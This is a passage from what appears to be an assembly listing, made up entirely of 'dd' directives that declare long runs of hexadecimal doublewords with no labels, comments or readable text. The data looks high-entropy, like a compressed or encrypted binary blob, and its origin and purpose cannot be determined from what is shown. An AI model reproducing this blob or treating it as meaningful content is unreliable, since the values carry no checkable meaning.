0BAD8B95Fh, 0B4F480h, 2B0474A1h, 14A223FDh, 9A631607h dd 299027E5h, 0F910B3h, 5B9F1965h, 0F84F98C6h, 903C098h dd 7B013246h, 2516B0C9h, 0EA913885h, 425812h, 46785237h dd 29001A8Ah, 392063Ah, 0F0B5E47Fh, 0CF670E0Dh, 0F6E06EE3h dd 51491E6Ah, 0E230DF00h, 0EF3CB789h, 1D90A2h, 63F80E9Bh dd 111C059h, 87DC3400h, 5E3AE5A5h, 2CDF001Bh, 97E10F9h dd 924A8C1Ch, 0C382CC00h, 0F64ED308h, 80175E61h, 0CBCEF475h dd 0A0211200h, 0BE19EA1Eh, 7FDE1FFFh, 251380E8h, 5E4E8731h dd 0A700F972h, 0E7CCBF7h, 50FCB1A4h, 1CF1E867h, 83EE4D2Ah dd 79534872h, 69F00798h, 3442D4A8h, 0D7256700h, 0BA1BB9D9h dd 7EB2E92h, 0ED200300h, 50DF7C0Dh, 727FDB1Ch, 3C956E00h dd 0FFAC24B6h, 3F860078h, 77500984h, 40091BEh, 0C15AEC2Fh dd 195B1Bh, 0E5FC8683h, 2C5E29B6h, 0D20FD300h, 0CAC9A9CDh dd 0CA0000Dh, 43183DE2h, 967F7421h, 0DA40A100h, 0C101BE52h dd 0B19E740Eh, 0BC240084h, 8D09B7Ah, 1F525C1Dh, 37209840h dd 0EF4C4Eh, 4F353066h, 26539954h, 0D610E801h, 5862E5B7h dd 2361DFCh, 9067E26Fh, 38439949h, 0E52061C2h, 0E62E6875h dd 0A2BD1C5Dh, 93EE6Eh, 4CE5911h, 5100ECEDh, 70202A7Eh dd 0E8D1389h, 0FF277FFCh, 40AC7B00h, 0A065AE9Dh, 24C01551h dd 0E51D9F3h, 992B0EA6h, 0C0228BE5h, 0D23F5E5Dh, 3A1D5090h dd 3D808391h, 59E32F0Ch, 0BF7100A8h, 7C34115Eh, 473FBE6Ah dd 0B0C68FB7h, 9C7C17Ah, 36D45AFBh, 86560049h, 570B9F8Ah dd 0DA006C69h, 83D4E614h, 2EB4D045h, 3CB823h, 7E585D0Eh dd 60EA1CE4h, 6AAE0809h, 95D40775h, 42D43040h, 4BF10033h dd 76A3ED73h, 0FA005B91h, 0D8839CF6h, 6F0A8Fh, 1A65026Ch dd 899A274Dh, 47CAD21Eh, 3FFC5E41h, 3330211Fh, 97F800B0h dd 0B811B93Ah, 1EEC614Fh, 47107101h, 35C0D453h, 2CD8AE8h dd 0D2CEABBFh, 4AE021F6h, 0C600F820h, 32D03706h, 0FAA9913Bh dd 0F76500D6h, 48D464D1h, 8100DE24h, 34A64988h, 0C061D3BFh dd 51DB2D08h, 0C80F581Dh, 0A0238497h, 72C5A62Fh, 0F1173D81h dd 3F89523Fh, 1B83DBEBh, 19C8A024h, 7C0EB962h, 395B806h dd 0F03544FAh, 7F3174h, 576C5171h, 0A399BC89h, 1A27E418h dd 0E79C17Ah, 233C368h, 8F3B0C47h, 0B0DA3DE0h, 0CF00B56Ch dd 78ADFFA3h, 120922h, 0F817C82Ch, 57A1AFD8h, 4C73F400h dd 0C0C1787Bh, 590D0FE6h, 0B2D904h, 0EF8FCBB5h, 68E80C70h dd 63997100h, 0AB2C241Ah, 0B60B0E5Ch, 144FE11Dh, 0DFD3D500h dd 840209BAh, 0A407CEEh, 3B43C1E8h, 38549980h, 0CBFE76ADh dd 9B0F8800h, 0D9B6FC93h, 0E760E3DBh, 99EA00D1h, 1C911A6Bh dd 5801652Eh, 0B9A232D4h, 118196C4h, 9F064A7Ah, 14ED4091h dd 3300F656h, 6DB59427h, 7CAE23h, 0D121B7E9h, 0BF4662B2h dd 345CF407h, 0A0C0614Ah, 0CB18Dh, 78EC0937h, 0EE648281h dd 0FD519500h, 0D6149705h, 11E866h, 13CCFCBFh, 0FE4E30A0h dd 0E0AB2100h, 0DEA62962h, 5825264Bh, 0CA5A00D1h, 0F93EE691h dd 0F7004898h, 365B94CFh, 0BE0FBFh, 0F2B38FDDh, 46866851h dd 19D52A18h, 0FA1811h, 0CFED8402h, 0BF599374h, 8BE8E200h dd 0B43BCED3h, 6119000Ch, 2B8D4089h, 463C7D05h, 604810h dd 0D641EB84h, 0C24DDD7h, 1EF85BEAh, 6D001740h, 894251FEh dd 23F34Bh, 84181BB0h, 0BC61C712h, 0C093AC01h, 0C32A203Ch dd 3CDB4CF4h, 1C8150DEh, 9FB2F72Dh, 1749D0B7h, 0F0E69EA0h dd 0BF001F70h, 0AA270248h, 132573h, 3EAC3C75h, 0CC3A54EEh dd 0B5F61FF6h, 340060FCh, 0F04401A4h, 2647F5Bh, 8C2B0C81h dd 0CE09443h, 1C0055DCh, 0E1DE5A59h, 84927h, 0B937F50h dd 953A7DC6h, 0D11DD3B0h, 2A47ECA3h, 0B7D342E4h, 64DE90E6h dd 50F0190h, 9458865h, 0FAB07FF8h, 0E0060032h, 0A4B5EB8h dd 0B400A7FEh, 0F74D2BAFh, 0D2CFA5h, 9EF04C68h, 78591EDBh dd 0A1CD1800h, 0CBC3412Eh, 0FCC40005h, 10D985D7h, 3C1D71BEh dd 0B1800442h, 0B5050E55h, 9407001Ch, 0AB5F6D98h, 47000FC4h dd 5337EA89h, 37EF9DBh, 0CAF65407h, 0D2F07366h, 56005EE1h dd 2AA4C11Ah, 0DDAD96h, 0A3BD57FEh, 0C5B17455h, 0EB985D0Eh dd 4F932050h, 7909F13h, 0BBC43861h, 34D92C1h, 1DD127E0h dd 89171100h, 96E91645h, 4217379h, 0A193BE72h, 0DEC3C06Ah dd 9C00DAF2h, 24CBCC1Dh, 0B95694h, 8380EFE1h, 7C7AA40Bh dd 0C2120100h, 5BEE6FDBh, 1B6A0049h, 0B782BF27h, 0BE033B20h dd 2822AE24h, 13D7B045h, 0E5C400DEh, 0E603BC2Eh, 260C1E9Bh dd 319A795Ah, 8AEE0717h, 907558E5h, 0E33AC8BBh, 10C79001h dd 5247FB57h, 2CC43C31h, 0DAAD0098h, 2E17518Fh, 8501B3CDh dd 0F12AB419h, 0E0808A30h, 8B548907h, 9F0047D1h, 0C90B95CFh dd 1ED85014h, 409B816Eh, 0E73FA865h, 0DE002C41h, 0B6EB78E9h dd 0BA924Eh, 77CA966Eh, 0E251C03Bh, 8041383Bh, 0A6547AEDh dd 0E6CD551Dh, 60FB0F46h, 6465FE82h, 48F00020h, 0EF7E573Dh dd 0B9582102h, 60173AD9h, 0F302ABh, 0A2E5121Ah, 0E82DC45h dd 0F6B7351Eh, 0A9EDFFC3h, 0C13E883Ah, 5FCD0EC9h, 0AEC0CF69h dd 0EEEBAD4Eh, 0BED16300h, 67EF25A0h, 6DB105C6h, 0C0115F49h dd 0DCE56A93h, 31501260h, 4C6CE254h, 0C1022A56h, 6559F529h dd 57034FE0h, 0FF07B21Fh, 5EF280BEh, 0FED33F95h, 0F62B3D84h dd 0BFDB0F80h, 0DDD59F6Ah, 19FC2300h, 0A7A21F1Ah, 81AD280Ch dd 75B00384h, 0FD642077h, 8B5D7BB8h, 0EFEB9500h, 47BFD054h dd 8C87009Bh, 0C29ABE8h, 0EA029AA8h, 7684BB7Ah, 0CE98E085h dd 28B9001Ch, 566A393Ch, 0A07988ECh, 65EE3000h, 27746F4Eh dd 2BF01DFDh, 0A39F00E6h, 0DC50D31Bh, 6DA53Fh, 8AE3D930h dd 52B2F9h, 35CAD48Dh, 9A39664Dh, 0E6ACC100h, 859C1669h dd 5B70124Ah, 6310009Dh, 9FFB6EF6h, 7CC58A00h, 485101CCh dd 955B00D0h, 0D5028CFEh, 2A000B17h, 41E02C37h, 427CD1h dd 9887ED3Dh, 68DDAAE7h, 47AD600h, 1317B3B6h, 346401FBh dd 0CF5B4D60h, 9F0CD86Eh, 0F006BC75h, 57138ED7h, 84CC1E80h dd 2FE10CD9h, 66809C11h, 948933h, 3EAA02h, 905C7CF0h, 79082EFAh dd 192F201h, 81A46F75h, 0AC6C7F3h, 6C624C18h, 6C076D39h dd 0CF046FF8h, 970A0C34h, 80808D24h, 86D2310Bh, 86E928FFh dd 4EF32550h, 50161028h, 139888Ch, 0DB67ADA1h, 3DF330B3h dd 566D8500h, 0FF219D9Bh, 7A870050h, 47490319h, 30008B28h dd 0FC6C3CC3h, 1D78218Eh, 0E3B032h, 3BA31A9Ah, 8F0CA0C8h dd 3A90B675h, 0BC0F3BCEh, 9FA58101h, 0EC881666h, 20EA663h dd 41FE2E8Dh, 7FA78BF0h, 1623770h, 0EF33FC56h, 0C081145Dh dd 5871F664h, 19A9C600h, 73F3B6F0h, 986D0026h, 4B6FBD88h dd 57003F20h, 633153C0h, 60A09903h, 7A88E810h, 90A09E62h dd 0F30A2367h, 10BB8C17h, 206E5C80h, 8F540Ch, 55368DB0h dd 28902B8Eh, 44508902h, 0D709F361h, 0A4015C42h, 0F0D71E1Fh dd 0ACA83B6Ah, 0D8882EBh, 0DA200029h, 0F9DE339Fh, 3FFE22F1h dd 97F86D00h, 6B68630Fh, 0FC53503Ah, 1C090252h, 2EB3B595h dd 0FD41E480h, 0A1309658h, 0ABEAA13Ch, 272800ADh, 700A36CDh dd 77068EC3h, 86CAE9FEh, 0F83EE79h, 0C80FEC97h, 44582900h dd 4000D59h, 0FB51E639h, 98CC904Eh, 4F0C2AC2h, 867B1730h dd 0D845008Eh, 421F0978h, 14B3D301h, 13E1CFE9h, 0BF0E2F5h dd 7F81Ch, 3CCE67F2h, 97DB4ED0h, 72F35119h, 44E7911h, 48ED550Ch dd 30000E10h, 0EF52CC53h, 19D3316h, 0D870D0A8h, 0C8A31C80h dd 0EC00F415h, 55888F06h, 40CDE6h, 19127DE8h, 0D07AB6A6h dd 0C41C777Bh, 4440FF58h, 1068098Fh, 1CA8F2B5h, 0FECE725h dd 74009178h, 269E388h, 0C00A77Bh, 847A9A03h, 259323Bh dd 1C7ED720h, 5C40F21Dh, 8C3EDACDh, 3F2E806Eh, 668D1BBBh dd 0B1CA0082h, 7DF16327h, 1500F343h, 0CB7CA6FAh, 1F0FCC84h dd 40C640D5h, 5B9F690Dh, 0E90026D2h, 0EFAEA309h, 0E415EA61h dd 777F90EEh, 3FCBFE4Fh, 9E80C3A4h, 0B4BDA8D9h, 4805B0EBh dd 38405C10h, 9900B7C5h, 73846F8Bh, 0C78900EFh, 7D99D058h dd 610ED1E5h, 0C0B22B57h, 0AB4143E9h, 0CF2905B5h, 0E3D1917h dd 900009BCh, 44BA016Ah, 0EC5A11Eh, 0CA84D900h, 0D4E42B4h dd 49EEB6C9h, 19D28048h, 0C8708AF2h, 512F30F5h, 47E5B118h dd 0B462DFE4h, 0A0740360h, 410AF5ECh, 0FC221452h, 0A0008C7Fh dd 0DF471661h, 60F0BE31h, 4100EE5Eh, 0CC5F0FF5h, 0FBFA1E23h dd 0BB5CEDD2h, 0D8B2707h, 0F8C322A0h, 166307ABh, 0C7F2C961h dd 405BC599h, 420660C0h, 72070731h, 0EAF195C5h, 2AD461D0h dd 633B0008h, 0D8C260B0h, 0E87A20CAh, 4F335A00h, 61F3A4D2h dd 5B503A2h, 4642F93Eh, 6A97E480h, 51A53000h, 6457F135h dd 0DE950E02h, 0D7C0E922h, 0EE70BFFFh, 5F050DF6h, 0A42D23B0h dd 4A992D80h, 15CE00D4h, 0E822DC77h, 8C0321F2h, 0AD762483h dd 0B72906DBh, 0DE61A7ECh, 0DDF69401h, 3FF487D2h, 131A9F8h dd 12809230h, 0E889793Ch, 49000928h, 694F40C9h, 0F2C17194h dd 6A3100EFh, 0FBF9DF9Bh, 7F000844h, 0C39C5BA3h, 15C77CEh dd 9010DBA2h, 0D8D906ABh, 0F700596Bh, 6CF0FC2Bh, 0DE8284h dd 0D5F640BDh, 704726F2h, 418E7418h, 1F1E7A68h, 800D380Ah dd 4D254EECh, 0B27ABF5Ch, 6876100h, 837B96AAh, 60B13A81h dd 0F0F6D185h, 0F3D10095h, 0FA441AD9h, 0DAFC1603h, 809DA676h dd 3C35A9h, 0ED248F86h, 895AE03Fh, 0CAF7700h, 0A73AEF49h dd 0D5873054h, 3F0A6971h, 0CAAD80h, 3B62B412h, 0A1A726C2h dd 0FBC72F00h, 0CF2B1F6Fh, 0ECB3FB3h, 7100063Fh, 0A5862449h dd 407DCA2h, 97481252h, 0EA3359B0h, 0ADE605DBh, 80256608h dd 3A0C866Eh, 961F7601h, 0BD04D777h, 3C8082C8h, 62B83EB5h dd 0C883D9B8h, 0D0BB8D42h, 1F541BC8h, 191E2E00h, 0B1FF820Dh dd 0C1C2002Ch, 0D1833F9Eh, 21001F53h, 0DBF2D2A9h, 9C7943h dd 0E02B42B8h, 240A6622h, 61CAD607h, 0B180F6D3h, 931043h dd 0B7F4DE15h, 0B6F956B5h, 0EE3CFDF8h, 0C90400D7h, 0D30E5C7Dh dd 0B0470051h, 9A300DEBh, 62488E79h, 252B1724h, 8D1C22FCh dd 0E945C03Ch, 1AD5F341h, 0D89D3403h, 0D0814FB8h, 0F4C8B0B2h dd 0E2A107FEh, 0F062CFC5h, 0CABE96A9h, 5AAA7D0Ah, 5D01C59Fh dd 974489BBh, 3DA4E6C4h, 7A80EE6Ch, 7E0275EBh, 910331BEh dd 7FCE2AA2h, 0FF1CB064h, 86C92FDh, 314EAB63h, 0F3F1A353h dd 258FC10Eh, 0CB9A807Ah, 860093B4h, 9D4E7FCFh, 3C2A089h dd 846922D2h, 8C929635h, 6F4B1C40h, 80CC743Fh, 6BF30E70h dd 0A8114578h, 2813DDE8h, 7F806950h, 5B260EA5h, 126ACF64h dd 2E6A8394h, 2900D7ACh, 5D9B23E3h, 0E4B63D4Dh, 0BD945086h dd 520C0065h, 0BBD711A8h, 0FD074A3Eh, 0CBC4D927h, 0C7681F00h dd 0F18900D6h, 998582D7h, 8A09810Dh, 80AB102Fh, 13FF8331h dd 84B489Eh, 0CB907Dh, 0D4B4C85Ah, 0C1B98CE6h, 25405800h dd 94752387h, 0D65A0FF8h, 96200301h, 13E45B52h, 6F7C7700h dd 53C18AF7h, 799000A4h, 8D189E06h, 92D7A0Fh, 80DFE2ADh dd 33682952h, 0EB771EE3h, 0EED381F4h, 0F7E8C2CAh, 0FCA2B780h dd 110083FAh, 0DCF73754h, 0F3E7848h, 0CDF592C5h, 20D43043h dd 0FBFEF3D0h, 2CF2A224h, 46977640h, 0D3E69Ah, 0BD28A881h dd 5A18D72Bh, 0CD034098h, 8398F976h, 0A394E8ADh, 0ABE2001Ah dd 9E3E3C69h, 6538BB89h, 0A5F08355h, 97C5B502h, 88629031h dd 42E0C4h, 918A18Eh, 4B1F031Ah, 0CD915200h, 0A9659F66h dd 0CFCA0023h, 0E26DD5A0h, 0F9006B7Ah, 8D5CB688h, 7B6CC9DCh dd 64BA3F7Dh, 6114987Fh, 0B6D19872h, 3ADFF4B9h, 1FBC9C00h dd 79C0A287h, 89F40EA1h, 7A449437h, 615C80A0h, 0DE001046h dd 609E6DB2h, 4AA901h, 5A731735h, 0A40FC69Ah, 0DEC06800h dd 0ED6FBEBBh, 61030002h, 0B50118Ah, 243C5FA6h, 746C80E4h dd 0C5BD31D4h, 0C04B0089h, 5D6980A1h, 83073C46h, 1052B9E5h dd 0F81B07F0h, 0E2203A0Dh, 45F56107h, 0E7E03E87h, 0D4242B3Ah dd 0DCD15300h, 0B91320F0h, 0B1AC66A0h, 98902038h, 3D07A6F0h dd 55A2995Bh, 73A1BF40h, 102E5039h, 1C4B51B8h, 1D84E0ECh dd 820FDh, 0A55D68E4h, 0B52621CBh, 7500D0F9h, 4147C6FAh dd 80E2008Eh, 401BC051h, 0E703E88Ah, 0E5DF1C20h, 0E0400122h dd 0FCC7F0FBh, 0DA609371h, 0FCAF990Fh, 3574F780h, 4DE57510h dd 0D8301056h, 0E7DA6820h, 0A13BF130h, 0ACA1BAh, 1335256Fh dd 0B1D8DE0Dh, 0F108F700h, 0B93A560Bh, 4AD105F0h, 0FF3AD27h dd 30098B3h, 5E97E59h, 8E60ACB8h, 3DBE1E54h, 0CF021712h dd 0F83300DCh, 0B54AA5F5h, 0A3852200h, 0B6210797h, 99B10186h dd 23ABE55Eh, 0DF73C857h, 92411000h, 0AE86526Eh, 0FD8B0074h dd 0BF87F726h, 0C9C05540h, 0DF336641h, 19D0E6DAh, 87BE224h dd 14218F29h, 6D5A71Eh, 9980F904h, 18ACD34h, 39AAAD25h dd 64F38FF1h, 0D000D478h, 656D10A0h, 0CB75BB35h, 0C020D809h dd 54A068B4h, 63A2E07h, 0E8D06057h, 3BA8E25h, 0F8787573h dd 0C9B091A3h, 26E62D94h, 0C8B468C6h, 0AF072A40h, 203F67B4h dd 633CA8A5h, 2E0D81h, 0A0AF0521h, 38FCB136h, 0C49F4D51h dd 0A600E27Ch, 532A6187h, 0ECC1EEABh, 0E00C5277h, 0FAE99F00h dd 5B15A2BCh, 9B8F133h, 7F213D9Ch, 53B4FA00h, 40C73CB1h dd 0A1C55000h, 95DD5C83h, 468CA484h, 0A0D302F0h, 31DD6D13h dd 0EBB310FDh, 0AC100A0h, 0FABDAF6Ch, 0C901A6A3h, 153ABF1h dd 0A1E73EF4h, 22E09405h, 46430034h, 50C3E507h, 6F00A244h dd 0A99FCD20h, 7DB641h, 60709502h, 8A79FB5Eh, 4A1F801Fh dd 0E2EF5640h, 5F87BCh, 32066173h, 3365BEC3h, 3ECE48h dd 457BED47h, 33A69A1h, 0BEA294BAh, 0FAA0E9C3h, 441EE864h dd 928023DEh, 0E2B6A549h, 39500057h, 0D4178508h, 690736F3h dd 74DD46DEh, 68E5A720h, 0D980027h, 7656EB1h, 1AE8BAF9h dd 0C0DD3300h dd 0E4B90974h, 0CF240964h, 2080B741h, 6801DC1Eh, 99ED3700h dd 66E8AA82h, 26C8FE3Fh, 7A53D9h, 0E4A1B0FAh, 830767ECh dd 0BBADEDBDh, 641987C0h, 8C980643h, 8A81BAFh, 20ECC930h dd 199EFCh, 0C023B0A2h, 0B33D2F36h, 6D995F00h, 0D1436FF2h dd 0C67D00BFh, 0EDBB806Ah, 0BA3ADA0Bh, 668D9F9Ah, 65FBA7Dh dd 6E2D6976h, 0BBAF3708h, 7D1E2020h, 9500B76Ah, 0BC2B4153h dd 39A1F5h, 0BF9FF170h, 0C15C2728h, 0EA3F59F4h, 6686393h dd 4B400066h, 2C144D36h, 5930780Bh, 0B0AD59ABh, 0F7BA1851h dd 2F5530ACh, 48487337h, 4E77DAC0h, 0ECB1C8C7h, 857D65C2h dd 58221EF8h, 1D9720B0h, 7C02317Dh, 0B4F80D32h, 0C6A880FAh dd 0C05DE3DFh, 1AC4560h, 54C63BEh, 0CA140FC9h, 29B380F8h dd 0F34030h, 0D2D68479h, 0C7F23D72h, 0B3C2600h, 81CABF38h dd 1FECEEFCh, 0A4068A83h, 39A20CE8h, 4A73A11h, 361913E1h dd 9BE1080h, 590C6058h, 4F7BC007h, 33D73B37h, 0D11389C3h dd 0F6705CDCh, 63AB328Dh, 0AF119C28h, 0E1F422D2h, 515D6C2Fh dd 802284E8h, 1428504Ah, 845F446Ah, 4B2E2284h, 44791C42h dd 62885051h, 0F0030095h, 649F2AF5h, 9FB0A577h, 94F9ED00h dd 0AEA46079h, 0EFE53F02h, 0C58FDF80h, 2D3846E2h, 0BDCF7A00h dd 3274F0B3h, 1FBE002Fh, 0FF24580Dh, 0AE000393h, 0C0694B76h dd 7E44D7B4h, 5B9A077Bh, 0C06DFD36h, 4EAA329Fh, 0A3BCF800h dd 0EDFB29D2h, 0D0F1003Ah, 61866F56h, 0F500CBFAh, 0FE260AA4h dd 1C9CB15Fh, 439A832Dh, 3A0552F8h, 290059D3h, 48B84DC3h dd 5745CA9h, 0B221A2DEh, 0D8D843F0h, 9A08204h, 6A002C71h dd 17AEFE16h, 2453F06h, 0A68EA453h, 23E378C0h, 1459500Eh dd 0D846A00Dh, 0C1BAE9h, 0EC322E98h, 35C0A7CCh, 0A4696B0Eh dd 2646E4E8h, 495D2490h, 9CAC38EAh, 4D184200h, 0CBD8CD7Eh dd 7548D600h, 0C5A58DDFh, 0EE391E33h, 0E69DBBh, 0F12A8654h dd 2E280BEFh, 0B21C8CDBh, 74402B09h, 0F2CF969Ah, 16E7004Fh dd 4738CB44h, 0D800E0D1h, 0C96B26F0h, 37E2E4h, 9080ACAEh dd 0D465D64Eh, 0F706D5B0h, 66DA1561h, 56EF211h, 0A0786D5Eh dd 228400A8h, 48664AFAh, 3549FF0Fh, 17D200B6h, 1056CBDh dd 60CA75F8h, 0E02D9D21h, 0BE0E44AEh, 0A0CC14FAh, 15B4E0FCh dd 3306076Dh, 90F5A656h, 85F4EF54h, 0D4F11C00h, 0C4AC0F92h dd 97D60E1Bh, 0A720B859h, 41C1B463h, 736EB012h, 4DBAA800h dd 982EB7DBh, 0AE1200E5h, 26BFD35Dh, 423CE3F1h, 8AA601A7h dd 183DC7DEh, 5B9EDCCh, 3375709Dh, 0C8658008h, 3728AA8Bh dd 0C038CB76h, 4B930034h, 4C4A1EA6h, 90BD7AC1h, 6540008Ah dd 172DAF76h, 24049F35h, 0F54C81C3h, 8705E482h, 1680E0CDh dd 966BEDh, 76938825h, 0CB6572AAh, 58E3FF24h, 4B021D26h dd 40856DF0h, 88DC11Ch, 9AAB0C95h, 0AF1FCF09h, 0E323E018h dd 0CC71ACCh, 37C56844h, 0B6002F72h, 0EB7D0451h, 50F1960Dh dd 3E4AB088h, 7B9C0B69h, 0FC17805Ah, 591FFF8Dh, 0C80027E4h dd 644E1667h, 5BB5AFBh, 1E4677C6h, 0FE7DC03Fh, 6D3A1287h dd 0BD548015h, 0C04D17A5h, 5D380FF2h, 3C00240Dh, 0C232BF81h dd 0C499A03h, 9AF72D29h, 7EEE8009h, 39C4ECh, 28370BC6h dd 2C607DAFh, 5FF92003h, 88D6FDEDh, 409FA5h, 1EBC868Ah dd 1447DC2Ah, 0BC1D4B24h, 0F20F1C00h, 7B9D28h, 0FFF8AE66h dd 6CA520FAh, 1C534B0Bh, 8DE680FCh, 1FE75C74h, 80D1B9BFh dd 0F65A3147h, 0DF3BCFB5h, 864B800Ah, 41E245F9h, 609A00C9h dd 0F820A7CDh, 0AA0E27F5h, 0C0D47FABh, 0DD3E4551h, 0BC9402D9h dd 4AE17309h, 7000446Dh, 54EF24C8h, 0EDAE0131h, 2BCDF042h dd 3381DC3Ch, 7D0CFC04h, 948076B8h, 0DB720Ah, 66D7A736h dd 0F182248Ah, 0ECBA7C00h, 7F93D1E7h, 25C10041h, 28E87186h dd 0AF1C16F8h, 0E940C4B5h, 0FEA9F729h, 0AC500068h, 13956A2Fh dd 59009BD7h, 73FF99B5h, 1F1DBE4Ah, 0C738C404h, 0C00D2E96h dd 5AC27E01h, 197AA403h, 0F0CBA508h, 800F8Bh, 35040C75h dd 153368C6h, 0EFBB5D1Ch, 0AEEE8847h, 4B700019h, 37590B8h dd 0D0C6B789h, 479033D5h, 5200AFE5h, 0F9A20F71h, 133FB464h dd 2CC405h, 30D01D60h, 0D7004FD9h, 79E96CAh, 0E672FA98h dd 37F00011h, 94E658E5h, 0DA393391h, 2E4D8730h, 8990AFBCh dd 71D9DCh, 8FF1E811h, 333FE7Bh, 0ED60800h, 10C66FD5h dd 23FD0070h, 0AC8DC2B2h, 740087E5h, 0CE4FF060h, 0CB7616Bh dd 0D51B6C43h, 22016572h, 8AA34D8Dh, 7DC42421h, 0E486136Eh dd 68960181h, 601DA046h, 7094F96Dh, 0CC010D13h, 805FA119h dd 0E23AC20h, 11B2486Eh, 0E364C001h, 17188074h, 30737EEh dd 54DE0296h, 0C32F76BFh, 5E01AF40h, 73CCD84Ch, 0F98F4900h dd 0C90A0B14h, 0A5F40065h, 20E70996h, 660071DFh, 0F1228E83h dd 1D95C39Bh, 93790AAh, 480899Ah, 3C46D1FEh, 80CC2ACBh dd 245EE1FEh, 0D96500A9h, 51E02CA5h, 3300A10Ch, 564C93E9h dd 0B8F31927h, 7A83037Eh, 0FD083587h, 0C92CE1C8h, 74373C26h dd 0B75B4F05h, 1C17BC88h, 0C194BA8Fh, 0E71037C4h, 0FB01E471h dd 84E49100h, 33DF862Ah, 138E072h, 0A55CA405h, 0CC07DBF4h dd 0AA000B61h, 3633DC39h, 0A6E4FFh, 34F79AA7h, 4A43EF4Eh dd 41C3107h, 7E34060Fh, 0D7EABB80h, 0B8CD003Ch, 0A9ACEB23h dd 70000363h, 0E85AF29Fh, 399145BDh, 484CC92Eh, 71EBB300h dd 377C2B27h, 8D35F100h, 6930BDA0h, 0AE79C4h, 2C0FD3FBh dd 0C52E97A8h, 0F2A97000h, 126CE6EFh, 5ED60091h, 0BA413D4Fh dd 0D8FBAA5Dh, 0B9005988h, 76FB5DAh, 0ED67E086h, 0EBBDFCh dd 0C1B17863h, 0C8FDD74h, 68005498h, 0E91DB52Ch, 910A6Eh dd 559E5C54h, 0D60FD7CEh, 80519B3Eh, 15071640h, 45BBA2h dd 0DE63F996h, 5BE172FDh, 4DD76400h, 716C29D0h, 343E40CFh dd 635CC4E4h, 0EB9E0056h, 96B3171Dh, 0D4250099h, 60E20681h dd 52002F95h, 0CEE324B2h, 0D98D0Ch, 0F1C43D14h, 0B9AACCC3h dd 0DC0053B8h, 171A48ECh, 1ED037h, 0C3E4E24Ch, 0FF10D6CEh dd 6498651Dh, 0FD134703h, 0F882EEDh, 0F0D90030h, 1150DBE7h dd 0F139B307h, 0CE6184DFh, 61C4A0CBh, 2B150104h, 4E41E9C3h dd 44E47020h, 8983F200h, 15EE163Bh, 0BD8E005Bh, 7B111F0Dh dd 0AD1CA091h, 5DDD3235h, 5F00B424h, 0DAAA92D1h, 0D18076Fh dd 90EA015Ah, 141D68D2h, 0D5E75300h, 4EA2E9DBh, 0F377BFh dd 288B3CF2h, 0BEC24F4Ah, 5DEAF100h, 727A062Fh, 0C9A70519h dd 0C39F83F5h, 0BFA80C24h, 0A9004B8Fh, 1C1DBC6Ah, 3AEE7A12h dd 0FE8217F3h, 0F69AB34Ah, 0A2690C0h, 0F1835200h, 0CA62B131h dd 0C8E00061h, 0CB46ABF5h, 0FD00971Dh, 703B41E6h, 0F8ADE6Ah dd 1A0766B0h, 1D4EB4Ah, 6F85FE54h, 3B5AE036h, 94DFF028h dd 0D563BA00h, 0E616F991h, 9B5714DAh, 7B9C94h, 0FB44B4AFh dd 0EBF134B8h, 0EECC410Fh, 3F58C11Ch, 3D8D075h, 11B900D1h dd 0B45E06A1h, 0B10239F3h, 0A3916079h, 7334587Dh, 0A18B5AD9h dd 85AF0040h, 7B004CFDh, 0C5664B15h, 0BAB0B6B7h, 0FB7854h dd 0E5F4DC42h, 0E921E70Ah, 61E0791Fh, 0F960B83Ah, 0B2839B02h dd 0E0B0EB89h, 1ECD7258h, 0F74ED37Dh, 10660710h, 0F7F22BFh dd 80305138h, 52874D37h, 1E3A04C4h, 40BBD13Bh, 9E26F2A2h dd 0A60099E1h, 0C44B8601h, 1851D314h, 50E97AD7h, 1B006AF9h dd 0EDB86F4Dh, 7CE736h dd 3833C769h, 0F7E11885h, 27CAC400h, 0A73C73BEh, 0DF250139h dd 529288C2h, 0D360200Bh, 245C9D3Fh, 291E6C02h, 4D00801Ch dd 0D9DB176Bh, 0EB60266h, 0E6CCFE49h, 9A7FCCE0h, 0C934FF08h dd 0B95300E7h, 0EC6474B1h, 5E05917Dh, 98762538h, 490A8F80h dd 7FF64C3Fh, 69916800h, 8DBED9CBh, 0BF7483B0h, 0CD47CA02h dd 409BE8ACh, 58F2AE04h, 720770B7h, 5019232Ch, 64FB9D92h dd 7C56A207h, 1B801D8Fh, 1E17CE98h, 3BEBA03Dh, 17C92Ch dd 6ED8F7B5h, 0EA60BA6Fh, 0AB8BC619h, 77D90105h, 0EEE37B9Ch dd 50888036h, 4A19B041h, 7D9B0046h, 23A9291Ah, 2F007188h dd 0FA392D3h, 565821h, 15750B74h, 0BBA6E7A7h, 9D8CC40Fh dd 0A3DBE0A9h, 1D2FDD44h, 0C060E170h, 88BA5ACDh, 0AC01CB01h dd 72DE0DAAh, 0B1F06F1Ah, 3E0E72F7h, 880038D3h, 0B987CAE2h dd 63E25462h, 2E9A3D0Bh, 0F6058705h, 78BE7C60h, 4A900CBh dd 12F7DDA8h, 0C0C00B02h, 0C2C4E3D8h, 0E900FE5h, 8CC06542h dd 13692E0Ah, 0EAAB8D0Bh, 7B35009Bh, 4BCE20h, 0D41CA5B9h dd 5D9EEC26h, 0EA77B700h, 0D23809DAh, 31300CDh, 0A9647EFDh dd 0FA6066BFh, 0B32A7F50h, 0C61F00E8h, 0E37251E2h, 66009376h dd 4C278F1Dh, 15E8A60h, 88B52152h, 0DC34F5D0h, 0F1029910h dd 8E117237h, 0B78EE009h, 822B5833h, 240B9400h, 0BE738370h dd 0E606EE00h, 0E4EFD053h, 0B57C0193h, 6DC8862Ch, 7FC0D27Ah dd 0AD00552Fh, 8D3C959Eh, 0DFD77Fh, 0E1786552h, 0E8D247CFh dd 0C50D5A07h, 0C380C049h, 0FCFAC716h, 57513CBAh, 0F9FCD600h dd 989E2B74h, 15F8C800h, 0D4C99513h, 56FB012Ah, 333F75C7h dd 0BF5420CEh, 0A3445204h, 0FAC0F036h, 18C82B2h, 37091E6Ah dd 607F9BE9h, 0ED580688h, 0AF3B0097h, 34A0BAA4h, 93100ECh dd 0BDAC92C9h, 0BEEAD042h, 478C2501h, 0FBA079E6h, 3DE04020h dd 400FD17h, 8F083663h, 88EA9E72h, 14007C90h, 0AA2F0DF3h dd 7E64E87h, 7EF763BEh, 0A7E963ADh, 378EF9C8h, 2698D90Eh dd 0B7F38009h, 189E0Ch, 6F3416E7h, 0CAE91466h, 4312200h dd 0F4A30208h, 5EA00CFh, 2E7EFFDDh, 6DEEE665h, 10468A00h dd 0E8CC992Bh, 0C0BF7EA7h, 0E903FE61h, 88DDBD54h, 7E483540h dd 